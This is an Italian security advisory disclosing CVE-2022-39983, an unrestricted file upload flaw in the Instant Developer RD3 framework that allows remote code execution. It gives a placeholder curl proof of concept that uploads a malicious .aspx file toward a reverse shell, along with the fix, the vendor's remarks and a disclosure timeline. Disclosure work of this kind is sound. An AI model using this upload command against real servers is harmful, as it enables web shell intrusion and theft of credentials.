CVE-2022-39983: arbitrary file upload nel framework Instant Developer RD3
Una libreria del framework RD3 di Instant Developer consente l'upload di file arbitrari e l'esecuzione di codice remoto su tutte le webapp costruite con versioni precedenti alla 22.5 r23.
- CVE
- CVE-2022-39983
- Prodotto
- Instant Developer RD3 Framework < 22.5 r23
- CVSS
- 9.8
- Severità
- critical
- Stato
- patched
TL;DR
Il framework Instant Developer RD3, nelle
versioni precedenti alla 22.5 r23, contiene nella libreria full.js un
endpoint di upload che non limita il tipo di file caricabili. Un attaccante con
una sessione autenticata valida può caricare una web shell .aspx ed eseguire
comandi arbitrari sul server. La falla interessa tutte le applicazioni
sviluppate con le versioni vulnerabili del framework.
Ricerca che ho condotto nel mio lavoro in Tinexta Cyber, pubblicata secondo responsible disclosure.
Contesto
Instant Developer è una famiglia di piattaforme low-code per lo sviluppo di applicazioni multicanale. Trattandosi di un framework, una vulnerabilità al suo interno si propaga a ogni applicazione che ne eredita il runtime: non un singolo prodotto, ma l’intero parco di webapp dei clienti che lo usano.
Dettaglio
| Asset | Vulnerabilità | CVSS v3.1 | Severità |
|---|---|---|---|
| Instant Developer RD3 Framework < 22.5 r23 | Arbitrary File Upload | 9.8 | Critical |
- CWE-434: Unrestricted Upload of File with Dangerous Type
- Vettore CVSS v3.1:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - OWASP Top 10 2021: A04 — Insecure Design
La vulnerabilità risiede nella libreria full.js del framework. L’analisi del
codice client ha permesso di identificare l’entrypoint responsabile dell’upload e
di ricostruire la richiesta necessaria a inviare un file arbitrario. Questo
consente a un attaccante di caricare file malevoli per eseguire codice arbitrario
(ad esempio una reverse shell) e, da lì, cercare credenziali, muoversi
lateralmente nell’infrastruttura o provocare disservizi.
L’endpoint vulnerabile ha la forma:
https://<TARGET>/<app>/<file>.aspx/?WCI=IWFiles&WCE=&SESSIONID=<SESSION_ID>
Proof of Concept
Analizzando full.js si individua la porzione di codice relativa all’upload.

Ricostruita la richiesta, è stato possibile caricare una reverse shell .aspx
con una semplice chiamata curl:
curl -kis -F "Filedata=@<FILE_MALEVOLO>.aspx" \
-H "Cookie: ASP.NET_SessionId=<SESSION_ID>" \
-A Chrome \
"https://<TARGET>/<app>/<file>.aspx/?WCI=IWFiles&WCE=&SESSIONID=<SESSION_ID>"


Fix e mitigazioni
Ricompilare l’applicazione con l’ultima versione del framework (22.5 r23 o successiva).
Considerazioni del vendor
Durante la disclosure il vendor ha fornito alcune precisazioni sulle condizioni di sfruttamento e sulle contromisure introdotte:
- Per sfruttare la falla è necessario conoscere il
SessionIDdi una sessione autenticata: serve l’accesso a un browser con una sessione di login attiva. - Se lo sviluppatore non ha rimosso l’autenticazione dalla propria applicazione, dalla versione 20.5 il sistema non permette l’upload in sessioni non autenticate. Spetta al programmatore validare le credenziali e autorizzare l’accesso.
- Dalla versione 22.0, nella cartella
TEMPdell’applicazione è presente un file che impedisce l’esecuzione di file arbitrari: non va rimosso e va installato correttamente in produzione. - All’upload da sessione autenticata, spetta al programmatore decidere se
accettare il file implementando l’evento
OnFileUpload; un file rifiutato viene rimosso immediatamente dal disco. - Pro Gamma fornisce un ambiente di sviluppo general purpose: è compito del programmatore sviluppare l’applicazione e configurare il web server quando questa è esposta su internet.
Timeline
| Data | Evento |
|---|---|
| 2022-07-25 | Scoperta della vulnerabilità |
| 2022-08-24 | Primo contatto con il vendor (nessuna risposta) |
| 2022-08-29 | Richiesta del CVE-ID al MITRE |
| 2022-09-07 | Secondo contatto con il vendor (con risposta) |
| 2022-09-15 | Condivisione del report con il vendor |
| 2023-01-23 | Rilascio della versione 22.5 r23 |
| 2023-02-15 | Assegnazione di CVE-2022-39983 |
| 2023-02-20 | Pubblicazione del security advisory |